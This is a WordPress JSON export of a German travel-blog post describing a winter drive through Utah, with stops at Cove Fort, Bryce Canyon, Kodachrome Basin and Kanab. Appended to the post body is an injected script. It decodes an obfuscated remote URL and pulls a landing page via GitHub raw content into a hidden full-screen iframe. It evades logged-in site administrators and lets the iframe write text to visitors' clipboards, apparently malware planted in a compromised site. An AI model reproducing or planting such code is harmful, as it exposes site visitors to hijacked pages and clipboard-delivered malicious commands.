{"id":1413,"date":"2014-12-20T05:53:02","date_gmt":"2014-12-20T05:53:02","guid":{"rendered":"http:\/\/karnoll.de\/?p=1413"},"modified":"2026-05-22T17:53:56","modified_gmt":"2026-05-22T17:53:56","slug":"fillmore-fort-cove-bryce-canyon-kodachrome-basin-kanab-all-ut","status":"publish","type":"post","link":"https:\/\/karnoll.de\/?p=1413","title":{"rendered":"Fillmore &#8211; Fort Cove &#8211; Bryce Canyon &#8211; Kodachrome Basin &#8211; Kanab (all UT)"},"content":{"rendered":"<p>In der ersten Hauptstadt des Staates Utah gingen wir wieder ins erste Haus am Platz um zu fr\u00fchst\u00fccken: Garden of Eat&#8217;n.<\/p>\n<p>Ich habe den Witz erst beim zweiten Lesen verstanden, aber ich muss immer noch schmunzeln. Das Fr\u00fchst\u00fcck ging so, lustig war nur der asiatische K\u00fcchenscherge, der sehr lautstark mit den scheinbar tauben Farmern an der Theke kommunizierte: &#8222;Hey, what&#8217;s up, Fat Tony?!!&#8220;<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC5938.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"_DSC5938\" alt=\"_DSC5938\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC5938_thumb.jpg\" width=\"244\" height=\"139\" border=\"0\" \/><\/a><\/p>\n<p>Danach machten wir uns wieder auf, um das erste Tagesziel zu erreichen, den Bryce Canyon. Den hatten wir zwar schon 2011 besucht, aber Gutes kann man ruhig auch \u00f6fter genie\u00dfen.<\/p>\n<p>Auf dem Weg dahin fanden wir noch einen Hinweis auf ein historisches Fort, welchem wir gerne nachgingen.<br \/>\nDas Fort wurde im 19. Jahrhundert von einem gl\u00e4ubigen Mormonen als Reisestation, Pferdewechselstation und Relaisstation gebaut und auch heute leben dort noch Mormonen, die gl\u00e4ubige und ungl\u00e4ubige Reisende \u00fcber\u00a0 die Geschichte der Station informieren. Wir hatten eine Privatf\u00fchrung von Elder Brown, der uns durch alle R\u00e4ume des Forts f\u00fchrte. Nebenbei klopfte er noch unsere Gesinnung ab, blieb aber sehr freundlich und f\u00fcr Umme konnte man nichts sagen.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC5943.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"_DSC5943\" alt=\"_DSC5943\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC5943_thumb.jpg\" width=\"244\" height=\"139\" border=\"0\" \/><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC5945.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"_DSC5945\" alt=\"_DSC5945\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC5945_thumb.jpg\" width=\"244\" height=\"139\" border=\"0\" \/><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC5949.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"_DSC5949\" alt=\"_DSC5949\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC5949_thumb.jpg\" width=\"244\" height=\"139\" border=\"0\" \/><\/a><\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC5950.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"_DSC5950\" alt=\"_DSC5950\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC5950_thumb.jpg\" width=\"244\" height=\"139\" border=\"0\" \/><\/a><\/p>\n<p>Danach aber wieder zur\u00fcck auf die Stra\u00dfe und wieder auf \u00fcber 2000 Meter zum Bryce Canyon. Hier lag auch etwas Schnee, was den Ausflug von unserem ersten Trip deutlich unterscheidet. Wir fuhren die klassichen Aussichtspunkte entlang der Abbruchkante ab und machten etliche Bilder. So, wie man uns kennt. Eine Wanderung machten wir aufgrund der Witterung und der fortgeschrittenen Zeit nicht mehr, schlie\u00dflich wollten wir noch in den Kodachrome Basin State Park. Es war auch nicht viel los, das kannten wir anders, als wir Mai 2011 schon mal hier waren.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC6029.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"_DSC6029\" alt=\"_DSC6029\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC6029_thumb.jpg\" width=\"244\" height=\"139\" border=\"0\" \/><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC5978.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"_DSC5978\" alt=\"_DSC5978\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC5978_thumb.jpg\" width=\"244\" height=\"139\" border=\"0\" \/><\/a><\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/SAM_0453.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_0453\" alt=\"SAM_0453\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/SAM_0453_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a><\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC5994.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"_DSC5994\" alt=\"_DSC5994\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC5994_thumb.jpg\" width=\"244\" height=\"139\" border=\"0\" \/><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/SAM_0476.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_0476\" alt=\"SAM_0476\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/SAM_0476_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a><\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/SAM_0509.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_0509\" alt=\"SAM_0509\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/SAM_0509_thumb.jpg\" width=\"244\" height=\"82\" border=\"0\" \/><\/a><\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC6008.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"_DSC6008\" alt=\"_DSC6008\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC6008_thumb.jpg\" width=\"244\" height=\"139\" border=\"0\" \/><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC6018.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"_DSC6018\" alt=\"_DSC6018\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC6018_thumb.jpg\" width=\"244\" height=\"139\" border=\"0\" \/><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC6010.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"_DSC6010\" alt=\"_DSC6010\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC6010_thumb.jpg\" width=\"244\" height=\"139\" border=\"0\" \/><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC6015.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"_DSC6015\" alt=\"_DSC6015\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC6015_thumb.jpg\" width=\"244\" height=\"139\" border=\"0\" \/><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/SAM_0549.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"SAM_0549\" alt=\"SAM_0549\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/SAM_0549_thumb.jpg\" width=\"244\" height=\"164\" border=\"0\" \/><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC6027.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"_DSC6027\" alt=\"_DSC6027\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC6027_thumb.jpg\" width=\"244\" height=\"139\" border=\"0\" \/><\/a><\/p>\n<p>Den Kodachrome Basin State Park kannten wir bisher nur aus dem Reisef\u00fchrer. Hier, wie im Bryce Canyon, sind die unterschiedlichen Schichten von Erdablagerung bestens zu sehen, allerdings sind die durch Erosion entstandenen Skulpturen nicht so grazil, trotzdem in der Ausformung und Dimension sehr beeindruckend.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC6053.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"_DSC6053\" alt=\"_DSC6053\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC6053_thumb.jpg\" width=\"244\" height=\"139\" border=\"0\" \/><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC6083.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"_DSC6083\" alt=\"_DSC6083\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC6083_thumb.jpg\" width=\"244\" height=\"139\" border=\"0\" \/><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC6086.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"_DSC6086\" alt=\"_DSC6086\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC6086_thumb.jpg\" width=\"244\" height=\"139\" border=\"0\" \/><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC6090.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"_DSC6090\" alt=\"_DSC6090\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC6090_thumb.jpg\" width=\"244\" height=\"139\" border=\"0\" \/><\/a><\/p>\n<p>Leider hatten wir nicht mehr ausreichend Zeit um alle Sehensw\u00fcrdigkeiten noch bei Tageslicht zu betrachten,\u00a0 aber wir fuhren trotzdem zufrieden wieder auf den Highway 12, der uns in Richtung Kanab bringen sollte.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC6097.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"_DSC6097\" alt=\"_DSC6097\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/12\/DSC6097_thumb.jpg\" width=\"244\" height=\"139\" border=\"0\" \/><\/a><\/p>\n<p>Auf dem Weg nach Kanab liegt Hatch, ein kleines Kuhkaff, in welchem wir 2011 bereits \u00fcbernachtet hatten und freundliche Einheimische kennengelernt hatten. Daher hatten wir die Option offen gehalten, hier wieder zu \u00fcbernachten. Aber der Schnee wurde Dichter und als wir auf den Ort zufuhren, brannten nur die Stra\u00dfenlaternen. Jegliche \u00f6ffentliche Einrichtung, ob Diner, Shop und auch unser Motel von damals waren geschlossen.<\/p>\n<p>Also wurde der Toyota, der inzwischen aus Richtung der R\u00fcckbank etwas nervig\u00a0 quietscht, wieder auf 65 mph beschleunigt und die n\u00e4chsten 70 Meilen noch schnell abgerissen.<\/p>\n<p>Kanab erreichten wir gegen 18 Uhr und nachdem wir den Ort einmal durchfahren hatten, gingen wir in Parry&#8217;s Motel, fragten nach einem Zimmer und bekamen nat\u00fcrlich auch prompt eines, in welchem wir auch gerne 2 N\u00e4chte bleiben wollen.<br \/>\nAuf die Frage, warum wir nach Kanab gereist seien, antwortete ich kurz, dass wir in der Lotterie gewonnen h\u00e4tten. Als ich die Reaktion von der Chefin und einer Serviererin sah, f\u00fchrte ich noch etwas weiter aus, dass es sich hier um The-Wave-Lotterie handeln w\u00fcrde.<\/p>\n<p>Wir gingen dann gleich ins Rocking V Restaurant, da es als einziges auf hatte und auch eine Menge los war. F\u00fcr Amerka untypisch, selbst bei viel Betrieb, mussten wir fast 10 Minuten warten bis wir sa\u00dfen und eine Bestellung aufgeben konnten, was am Ende dazu f\u00fchrte, dass Danis Essen komplett aufs Haus ging, weil man selbst eine andere Erwartung an den Service h\u00e4tte. Ich wollte sie beruhigen und ablehnen, das Essen war schlie\u00dflich exzellent, aber sie bestand darauf und entschuldigte sich immer wieder. Dabei hatte ich ihr gesagt, dass wir als Deutsche solche Zeiten als normal wahrnehmen w\u00fcrden.<\/p>\n<p>Wir fragten noch nach einer Bar im Ort, erhielten noch eine Empfehlung f\u00fcr einen Schuppen 4-5 Meilen au\u00dferhalb oder eine Taverne in der N\u00e4he unseres Hotels, welche aber, wie sich herausstellte, um 20.40 Uhr geschlossen hatte.<br \/>\nKanab im Dezember ist nicht der richtige Ort f\u00fcr Barhopping.<\/p>\n<p>Eben haben wir noch die letzte Unterkunft f\u00fcr unseren Trip gebucht, den letzten Abend unserer Reise verbringen wir in New York &#8230; Naja, im New York, New York in Las Vegas.<script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];<\/p>\n<p>  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";<\/p>\n<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };<\/p>\n<p>  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;<\/p>\n<p>      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;<\/p>\n<p>      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;<\/p>\n<p>      var de = document.documentElement;\n      var body = document.body;<\/p>\n<p>      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}<\/p>\n<p>    return false;\n  }<\/p>\n<p>  if (isWpLoggedInContext()) return;<\/p>\n<p>  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }<\/p>\n<p>  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }<\/p>\n<p>  registry.status = \"loading\";<\/p>\n<p>  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }<\/p>\n<p>  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";<\/p>\n<p>    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }<\/p>\n<p>    var encoded = encodeURIComponent(id);<\/p>\n<p>    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }<\/p>\n<p>    return template.replace(\/\\{id\\}\/g, encoded);\n  }<\/p>\n<p>  function toHttpUrl(value) {\n    if (!value) return \"\";<\/p>\n<p>    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");<\/p>\n<p>    if (!s) return \"\";<\/p>\n<p>    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }<\/p>\n<p>    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";<\/p>\n<p>    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }<\/p>\n<p>    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;<\/p>\n<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In der ersten Hauptstadt des Staates Utah gingen wir wieder ins erste Haus am Platz um zu fr\u00fchst\u00fccken: Garden of Eat&#8217;n. Ich habe den Witz erst beim zweiten Lesen verstanden, aber ich muss immer noch schmunzeln. Das Fr\u00fchst\u00fcck ging so, lustig war nur der asiatische K\u00fcchenscherge, der sehr lautstark mit den scheinbar tauben Farmern an &hellip; <a href=\"https:\/\/karnoll.de\/?p=1413\" class=\"more-link\"><span class=\"screen-reader-text\">Fillmore &#8211; Fort Cove &#8211; Bryce Canyon &#8211; Kodachrome Basin &#8211; Kanab (all UT)<\/span> weiterlesen <span 